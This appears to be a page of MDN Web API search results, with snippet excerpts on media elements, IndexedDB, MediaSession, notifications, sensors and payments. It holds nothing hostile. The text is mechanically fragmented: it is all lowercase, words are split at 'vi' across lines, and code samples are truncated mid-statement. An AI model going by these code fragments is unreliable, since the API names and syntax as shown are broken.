vice-versa (corresponds to <link> element; not to be confused with <a>, which is represented by htmlanchorelement).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="2...
... note: currently the w3c html 5.2 spec states that rev is no longer obsolete, whereas the whatwg li
ving standard still has it labeled obsolete.
...And 2 more matches
HTMLMediaElement.audioTracks - Web APIs
the media element may be either an <audio> element or a <
video> element.
... each track is represented by a audiotrack object which pro
vides information about the track.
... <
video id="
video" src="some
video.mp4"></
video> javascript the javascript code handles muting the
video element's audio tracks.
...And 2 more matches
HTMLMediaElement.canPlayType() - Web APIs
syntax canplayresponse = audioor
video.canplaytype(mediatype); parameters mediatype a domstring containing the mime type of the media.
...the string will be one of the following values: probably media of the type indicated by the mediatype parameter is probably playable on this de
vice.
... "" (empty string) media of the given type definitely can't be played on the current de
vice.
...And 2 more matches
HTMLMediaElement: loadeddata event - Web APIs
bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onloadeddata specification html5 media note that this event will not fire in mobile/tablet de
vices if data-saver is on in browser settings.
... using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('loadeddata', (event) => { console.log('yay!
... the readystate just increased to ' + 'have_current_data or greater for the first time.'); }); using the onloadeddata event handler property: const
video = document.queryselector('
video');
video.onloadeddata = (event) => { console.log('yay!
...And 2 more matches
HTMLMediaElement: pause event - Web APIs
the pause event is sent when a request to pause an acti
vity is handled and the acti
vity has entered its paused state, most commonly after the media has been paused through a call to the element's pause() method.
... using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('pause', (event) => { console.log('the boolean paused property is now true.
... either the ' + 'pause() method was called or the autoplay attribute was toggled.'); }); using the onpause event handler property: const
video = document.queryselector('
video');
video.onpause = (event) => { console.log('the boolean paused property is now true.
...And 2 more matches
HTMLMediaElement: timeupdate event - Web APIs
user agents are encouraged to vary the frequency of the event based on the system load and the average cost of processing the event each time, so that the ui updates are not any more frequent than the user agent can comfortably handle while decoding the
video.
... using addeventlistener(): const
video = document.queryselector('
video');
video.addeventlistener('timeupdate', (event) => { console.log('the currenttime attribute has been updated.
... again.'); }); using the ontimeupdate event handler property: const
video = document.queryselector('
video');
video.ontimeupdate = (event) => { console.log('the currenttime attribute has been updated.
...And 2 more matches
HTMLOListElement - Web APIs
the htmlolistelement interface pro
vides special properties (beyond those defined on the regular htmlelement interface it also has available to it by inheritance) for manipulating ordered list elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...this property reflects the compact attribute only, it doesn't consider the line-height css property used for that beha
vior in modern pages.
...And 2 more matches
HTMLOutputElement - Web APIs
the htmloutputelement interface pro
vides properties and methods (beyond those inherited from htmlelement) for manipulating the layout and presentation of <output> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...user agents may report more than one constraint
violation if this element suffers from multiple problems at once.
...And 2 more matches
HTMLProgressElement - Web APIs
the htmlprogresselement interface pro
vides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of <progress> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmlprogresselement.positionread only returns a double value returning the result of di
viding the current value (value) by the maximum value (max); if the progress bar is an indeterminate progress bar, it returns -1.
...And 2 more matches
HTMLSourceElement - Web APIs
the htmlsourceelement interface pro
vides special properties (beyond the regular htmlelement object interface it also has available to it by inheritance) for manipulating <source> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...the htmlsourceelement.src property has a meaning only when the associated <source> element is nested in a media element that is a <
video> or an <audio> element.
...And 2 more matches
HTMLTableElement.rows - Web APIs
syntax htmlcollectionobject = table.rows; value an htmlcollection pro
viding a live-updating list of the htmltablerowelement objects representing all of the <tr> elements contained in the table.
... this pro
vides quick access to all of the table rows, without ha
ving to manually search for them.
... example myrows = mytable.rows; firstrow = mytable.rows[0]; lastrow = mytable.rows.item(mytable.rows.length-1); this demonstrates how you can use both array syntax (line 2) and the htmlcollection.item() method (line 3) to obtain indi
vidual rows in the table.
...And 2 more matches
HTMLUListElement - Web APIs
the htmlulistelement interface pro
vides special properties (beyond those defined on the regular htmlelement interface it also has available to it by inheritance) for manipulating unordered list elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...this property reflects the compact attribute only, it doesn't consider the line-height css property used for that beha
vior in modern pages.
...And 2 more matches
File drag and drop - Web APIs
the following code snippet shows how this is done with a <div> element: <div id="drop_zone" ondrop="drophandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> typically, an application will include a dragover event handler on the drop target element and that handler will turn off the browser's default drag beha
vior.
... to add this handler, you need to include a ondragover global event handler: <div id="drop_zone" ondrop="drophandler(event);" ondragover="dragoverhandler(event);"> <p>drag one or more files to this drop zone ...</p> </div> lastly, an application may want to style the drop target element to
visually indicate the element is a drop zone.
... function drophandler(ev) { console.log('file(s) dropped'); // prevent default beha
vior (prevent file from being opened) ev.preventdefault(); if (ev.datatransfer.items) { // use datatransferitemlist interface to access the file(s) for (var i = 0; i < ev.datatransfer.items.length; i++) { // if dropped items aren't files, reject them if (ev.datatransfer.items[i].kind === 'file') { var file = ev.datatransfer.items[i].getasfile(); console.log('...
...And 2 more matches
Dragging and Dropping Multiple Items - Web APIs
event.datatransfer.mozcleardataat("text/plain", 1); caution: remo
ving the last format for a particular index will remove that item entirely, shifting the remaining items down, so the later items will have different indices.
...the ensures that recei
ving drop targets can expect consistent data.
...types property is equivalent to retrie
ving the list of types for the item at index 0.
...And 2 more matches
HashChangeEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
... hashchangeevent.newurl read only the new url to which the window is na
vigating.
... hashchangeevent.oldurl read only the pre
vious url from which the window was na
vigated.
...And 2 more matches
History.forward() - Web APIs
add a listener for the popstate event in order to determine when the na
vigation has completed.
... html <button id='go-forward'>go forward!</button> javascript document.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html li
ving standardthe definition of 'history' in that specification.
... li
ving standard no change from html5.
...And 2 more matches
Working with the History API - Web APIs
suppose now that the user na
vigates to http://google.com, then clicks the back button.
...here too, going back doesn't change the document's contents from what they were in the pre
vious step, although the document might update its contents manually upon recei
ving the popstate event.
...whenever the user na
vigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object.
...And 2 more matches
IDBObjectStore.deleteIndex() - Web APIs
has been deleted or removed.) in firefox pre
vious to version 41, an invalidstateerror was raised in this case as well, which was misleading; this has now been fixed (see bug 1176165.) notfounderror occurs if there is no index with the given name (case-sensitive) in the database.
... for a full working example, see our to-do notifications app (
view example live.) var db; // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; ...
...this is used a lot below db = this.result; // run the displaydata() function to populate the task list with all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of the database needs to be created // either one has not been created before, or a new version number has been submitted
via the // window.indexeddb.open line above //it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // create an objectstore for this database var objectstore = db.createobjectstore("todolist", { keypath: "tasktitle" }); // define what...
...And 2 more matches
IDBObjectStore.getKey() - Web APIs
this is for retrie
ving specific records from an object store.
... dataerror the key or key range pro
vided contains an invalid key.
...etry"); openrequest.onsuccess = (event) => { let db = event.target.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st acti
vity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe definition of 'getkey()' in that specification.
...And 2 more matches
IDBRequest.error - Web APIs
for a full working example, see our to-do notifications app (
view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the do-do list with the specified title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest...
...k into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrie
ving your data: " + objectstoretitlerequest.error); }; specifications specification status comment indexed database api 2.0the definition of 'error' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung interneterrorchrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support 12firefox ...
...And 2 more matches
IDBRequest - Web APIs
the idbrequest interface of the indexeddb api pro
vides access to results of asynchronous requests to databases and database objects using event handler attributes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="1...
... also available
via the onerror property.
...And 2 more matches
IDBTransaction.oncomplete - Web APIs
as of firefox 40, indexeddb transactions have relaxed durability guarantees to increase performance (see bug 1112702), which is the same beha
viour as other indexeddb-supporting browsers.
... pre
viously in a readwrite transaction idbtransaction.oncomplete was fired only when all data was guaranteed to have been flushed to disk.
...for a full working example, see our to-do notifications app (
view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
...And 2 more matches
ImageCapture() constructor - Web APIs
syntax const imagecapture = new imagecapture(
videotrack) parameters
videotrack a mediastreamtrack from which the still images will be taken.
... this can be any source, such as an incoming stream of a
video conference, a playing mo
vie, or the stream from a webcam.
... return value a new imagecapture object which can be used to capture still frames from the specified
video track.
...And 2 more matches
IntersectionObserver.observe() - Web APIs
one observer has one set of thresholds and one root, but can watch multiple target elements for
visibility changes in keeping with those.
... to stop obser
ving the element, call intersectionobserver.unobserve().
... when the
visibility of the specified element crosses over one of the observer's
visibility thresholds (as listed in intersectionobserver.thresholds), the observer's callback is executed with an array of intersectionobserverentry objects representing the intersection changes which occurred.
...And 2 more matches
IntersectionObserver.root - Web APIs
the intersectionobserver interface's read-only root property identifies the element or document whose bounds are treated as the bounding box of the
viewport for the element which is the observer's target.
... if the root is null, then the bounds of the actual document
viewport are used.
... syntax var root = intersectionobserver.root; value a element or document object whose bounding box is used as the bounds of the
viewport for the purposes of determining how much of the target element is
visible.
...And 2 more matches
LinearAccelerationSensor - Web APIs
the linearaccelerationsensor interface of the sensor apis pro
vides on each reading the acceleration applied to the de
vice along all three axes, but without the contribution of gra
vity.
... to use this sensor, the user must grant permission to the 'accelerometer' de
vice sensor through the permissions api.
... properties linearaccelerationsensor.x read only returns a double containing the linear acceleration of the de
vice along the de
vice's x axis.
...And 2 more matches
LocalMediaStream - Web APIs
see stopping a
video stream in mediastreamtrack to learn how.
...however, control over playback of media has been moved to the indi
vidual mediastreamtrack objects, so this is no longer necessary.
...when the source of the stream is a connected de
vice (such as a camera or microphone), capture of media from the de
vice is halted.
...And 2 more matches
LockManager.request() - Web APIs
await na
vigator.locks.request('my_resource', async lock => { // the lock was granted.
... async function do_read() { await na
vigator.locks.request('my_resource', {mode: 'shared'}, async lock => { // read code here.
... function do_write() { await na
vigator.locks.request('my_resource', {mode: 'exclusive'}, async lock => { // write code here.
...And 2 more matches
Magnetometer - Web APIs
the magnetometer interface of the sensor apis pro
vides information about the magnetic field as detected by the de
vice’s primary magnetometer sensor.
... to use this sensor, the user must grant permission to the 'magnetometer' de
vice sensor through the permissions api.
... properties magnetometer.x read only returns a double containing the magnetic field around the de
vice's x axis.
...And 2 more matches
MediaCapabilities.encodingInfo() - Web APIs
the mediacapabilities.encodinginfo() method, part of the mediacapabilities interface of the media capabilities api, returns a promise with the tested media configuration's mediacapabilitiesinfo; this contains the three boolean properties supported, smooth, and powerefficient, which describe how compatible the de
vice is with the type of media.
... syntax mediacapabilities.encodinginfo(mediaencodingconfiguration) parameters mediaencodingconfiguration a valid mediaencodingconfiguration dictionary containing a valid media encoding type of record or transmission and a valid media configuration: either an audioconfiguration or
videoconfiguration dictionary.
... return value a promise fulfilling with a mediacapabilitiesinfo interface containing three boolean attributes: supported smooth powerefficient exceptions a typeerror is raised if the mediaconfiguration passed to the encodinginfo() method is invalid, either because the type is not
video or audio, the contenttype is not a valid codec mime type, or any other error in the media configuration passed to the method, including omitting any of the media encoding configuration elements.
...And 2 more matches
MediaKeyMessageEvent() - Web APIs
syntax var mediakeymessageevent = new mediakeymessageevent(typearg, options) parameters typearg a domstring containing one of may be one of license-request, license-renewal, license-renewal, or indi
vidualization-request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmediakeymessageevent() constructor experimentalchrome full support 42edge full support ≤18firefox ?
... web
view android no support nochrome android full support 42firefox android ?
...And 2 more matches
MediaPositionState.duration - Web APIs
the mediapositionstate dictionary's duration property is used when calling the mediasession method setpositionstate() to pro
vide the user agent with the overall total duration in seconds of the media currently being performed.
... this information can then, in turn, be used by the user agent to pro
vide a user interface which displays media playback information to the
viewer.
... for example, a browser might use this information along with the position property and the na
vigator.mediasession.playbackstate, as well as the session's metadata to pro
vide an integrated common user interface showing the currently playing media as well as standard pause, play, forward, reverse, and other controls.
...And 2 more matches
MediaQueryList - Web APIs
this method has been kept for backward compatibility; if possible, you should generally use removeeventlistener() to remove change notification callbacks (which should have pre
viously been added using addeventlistener()).
...for example, if the media query is (min-width: 400px), the change event is fired any time the width of the document's
viewport changes such that its width moves across the 400px boundary in either direction.
... var para = document.queryselector('p'); var mql = window.matchmedia('(max-width: 600px)'); function screentest(e) { if (e.matches) { /* the
viewport is 600 pixels wide or less */ para.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the
viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addeventlistener('change', screente...
...And 2 more matches
MediaRecorder.audioBitsPerSecond - Web APIs
this may differ from the bit rate specified in the constructor (if it was pro
vided).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetaudiobitspersecond experimentalchrome full support 49edge full support 79firefox full support 71ie no support noopera f...
...ull support 36safari no support noweb
view android full support 49chrome android full support 49firefox android ?
...And 2 more matches
MediaRecorder.onerror - Web APIs
you can pro
vide an event handler to deal with errors that occur while creating or using a media recorder.
...this may be the case, for example, with sources obtained using getusermedia() when the user denies permission to use an input de
vice.
... notsupportederror an attempt was made to instantiate a mediarecorder using a mime type that isn't supported on the user's de
vice; one or more of the requested container, codecs, or profiles as well as other information may be invalid.
...And 2 more matches
MediaSession.playbackState - Web APIs
example the following example sets up event handlers, for pausing and playing: var audio = document.queryselector("#player"); audio.src = "song.mp3"; na
vigator.mediasession.setactionhandler('play', play); na
vigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); na
vigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); na
vigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetplaybackstate experimentalchrome full support 73edge full support ≤79firefox no support noie no support noopera full support ...
... web
view android no support nochrome android full support 57firefox android no support noopera android no support nosafari ios ?
...And 2 more matches
MediaSession - Web APIs
the mediasession interface of the media session api allows a web page to pro
vide custom beha
viors for standard media playback interactions, and to report metadata that can be sent by the user agent to the de
vice or operating system for presentation in standardized user interface elements.
... for example, a smartphone might have a standard panel in its lock screen that pro
vides controls for media.
... a browser on that de
vice might deliver the metadata pro
vided by calling mediasession to the de
vice in order to be controllable using the global user interface.
...And 2 more matches
MediaStream.getTracks() - Web APIs
example na
vigator.mediade
vices.getusermedia({audio: false,
video: true}) .then(mediastream => { document.queryselector('
video').srcobject = mediastream; // stop the stream after 5 seconds settimeout(() => { const tracks = mediastream.gettracks() tracks[0].stop() }, 5000) }) specifications specification status comment media capture and streamsthe definition of 'gettracks()' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgettracks experimentalchrome full support 45edge full support 12firefox full support yesie no support noopera full support yessafari ...
... full support yesweb
view android full support 45chrome android full support 45firefox android full support yesopera android no support nosafari ios full support yessamsung internet android full support 5.0legend full support full support no support no supportexperimental.
...And 2 more matches
MediaStreamAudioSourceNode - Web APIs
this is why it is typically wiser to use mediastreamtrackaudiosourcenode, which pro
vides similar capabilities but was better-defined upon being added to the specification, so it's more reliable.
... example in this example, we grab a media (audio +
video) stream from na
vigator.getusermedia, feed the media into a <
video> element to play then mute the audio, but then also feed the audio into a mediastreamaudiosourcenode.
... the range slider below the <
video> element controls the amount of gain given to the lowpass filter — increase the value of the slider to make the audio sound more bass heavy!
...And 2 more matches
MediaStreamTrackAudioSourceNode - Web APIs
the audio itself might be input from a microphone or other audio sampling de
vice, or might be received through a rtcpeerconnection, among other posible options.
... example in this example, we grab a media (audio +
video) stream from na
vigator.getusermedia, feed the media into a <
video> element to play then mute the audio, but then also feed the audio into a mediastreamaudiosourcenode.
... the range slider below the <
video> element controls the amount of gain given to the lowpass filter — increase the value of the slider to make the audio sound more bass heavy!
...And 2 more matches
MediaTrackConstraints.aspectRatio - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediade
vices.getsupportedconstraints().
... syntax var constraintsobject = { aspectratio: constraint }; constraintsobject.aspectratio = constraint; value a constraindouble describing the acceptable or required value(s) for a
video track's aspect ratio.
... the value is the width di
vided by the height and is rounded to ten decimal places.
...And 2 more matches
MediaTrackSettings.displaySurface - Web APIs
syntax displaysurface = mediatracksettings.displaysurface; value the value of displaysurface is a string that comes from the displaycapturesurfacetype enumerated type, and is one of the following: application the stream's
video track contains all of the windows belonging to the application chosen by the user.
... the windows are aggragated into a single
video track, with any empty space filled with a backdrop; that backdrop is selected by the user agent.
... browser the stream's
video track presents the entire contents of a single browser tab which the user selected during the getdisplaymedia() call.
...And 2 more matches
MediaTrackSupportedConstraints.cursor - Web APIs
the mediatracksupportedconstraints dictionary's cursor property indicates whether or not the cursor constraint is supported by the user agent and the de
vice on which the content is being used.
... the supported constraints list is obtained by calling na
vigator.mediade
vices.getsupportedconstraints().
... syntax iscursorsupported = supportedconstraints.cursor; value a boolean value which is true if the cursor constraint is supported by the de
vice and user agent.
...And 2 more matches
MediaTrackSupportedConstraints.displaySurface - Web APIs
the mediatracksupportedconstraints dictionary's displaysurface property indicates whether or not the displaysurface constraint is supported by the user agent and the de
vice on which the content is being used.
... the supported constraints list is obtained by calling na
vigator.mediade
vices.getsupportedconstraints().
... syntax isdisplaysurfacesupported = supportedconstraints.displaysurface; value a boolean value which is true if the displaysurface constraint is supported by the de
vice and user agent.
...And 2 more matches
MessageEvent - Web APIs
cross-worker/document messaging (see the above two entries, but also worker.postmessage(), worker.onmessage, ser
viceworkerglobalscope.onmessage, etc.) broadcast channels (see broadcastchannel.postmessage()) and broadcastchannel.onmessage).
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 13.333333333333334%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 80" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20...
... messageevent.source read only a messageeventsource (which can be a windowproxy, messageport, or ser
viceworker object) representing the message emitter.
...And 2 more matches
MessagePort - Web APIs
the messageport interface of the channel messaging api represents one of the two ports of a messagechannel, allowing messages to be sent from one port and listening out for them arri
ving at the other.
... also available
via the onmessage property.
... also available
via the onmessageerror property.
...And 2 more matches
msPlayToPreferredSourceUri - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
...this enables the playto target de
vice to stream the media content, which can be drm protected, from a different location, such as a cloud media server.
... syntax ptr = object.msplaytopreferredsourceuri; value msplaytopreferredsourceuri enables a playto reference (a uri or url) for streaming content on the playto target de
vice from a different location, such as a cloud media server.
...And 2 more matches
MutationObserver - Web APIs
the mutationobserver interface pro
vides the ability to watch for changes being made to the dom tree.
... methods disconnect() stops the mutationobserver instance from recei
ving further notifications until and unless observe() is called again.
... observe() configures the mutationobserver to begin recei
ving notifications through its callback function when dom changes matching the given options occur.
...And 2 more matches
msSaveBlob - Web APIs
the na
vigator.mssaveblob() method saves the file or blob to disk.
... this method behaves in the same way as na
vigator.mssaveoropenblob() except that this disables the file open option.
... syntax na
vigator.mssaveblob(blob, defaultname); parameters blob a blob to be saved.
...And 2 more matches
msSaveOrOpenBlob - Web APIs
the na
vigator.mssaveoropenblob() method saves the file or blob to disk.
... this method behaves in the same way as na
vigator.mssaveblob() except that this enables the file open option.
... syntax na
vigator.mssaveoropenblob(blob, defaultname); parameters blob a blob to be saved.
...And 2 more matches
Notification.Notification() - Web APIs
it defaults to auto, which just adopts the browser's language setting beha
vior, but you can override that beha
viour by setting values of ltr and rtl (although most browsers seem to ignore these settings.) lang: the notification's language, as specified using a domstring representing a bcp 47 language tag.
...
vibrate: a
vibration pattern for the de
vice's
vibration hardware to emit with the notification.
...the action's name is sent to the ser
vice worker notification handler to let it know the action was selected by the user.
...And 2 more matches
Notification - Web APIs
these notifications' appearance and specific functionality vary across platforms but generally they pro
vide a way to asynchronously pro
vide information to the user.
... granted — the user accepts ha
ving notifications displayed.
... notification.silent read only specifies whether the notification should be silent — i.e., no sounds or
vibrations should be issued, regardless of the de
vice settings.
...And 2 more matches
Notifications API - Web APIs
these are outside the top-level browsing context
viewport, so therefore can be displayed even when the user has switched tabs or moved to a different app.
... in addition, the notifications api spec specifies a number of additions to the ser
viceworker api, to allow ser
vice workers to fire notifications.
... ser
vice worker additions ser
viceworkerregistration includes the ser
viceworkerregistration.shownotification() and ser
viceworkerregistration.getnotifications() method, for controlling the display of notifications.
...And 2 more matches
OfflineAudioContext - Web APIs
in contrast with a standard audiocontext, an offlineaudiocontext doesn't render the audio to the de
vice hardware; instead, it generates it, as fast as it can, and outputs the result to an audiobuffer.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/aud...
... deprecated methods offlineaudiocontext.resume() resumes the progression of time in an audio context that has pre
viously been suspended.
...And 2 more matches
PannerNode.setVelocity() - Web APIs
the setvelocity() method of the pannernode interface defines the velocity vector of the audio source — how fast it is mo
ving and in what direction.
...you might be mo
ving a character around inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... in the example you can see this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position
via the positionpanner() function.
...And 2 more matches
PaymentAddress.toJSON() - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettojson()chrome full support 61disabled full support 61disabled disabled from version 61: this feature is behind the #web-payments preference (needs to be set to enabled).
... to change preferences in chrome,
visit chrome://flags.edge full support 15firefox full support 62notes disabled full support 62notes disabled notes available only in nightly builds.
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari full support yesweb
view android no support nochrome android full support 61disabled full support 61disabled disabled from version 61: this feature is behi...
...And 2 more matches
PaymentRequest.canMakePayment() - Web APIs
you can call this before calling show() to pro
vide a streamlined user experience when the user's browser can't handle any of the payment methods you accept.
... for instance, you might call canmakepayment() to determine if the browser will let the user pay using payment request api, and if it won't, you could fall back to another payment method, or offer a list of methods that aren't handled by payment request api (or even pro
vide instructions for paying by mail or by phone).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
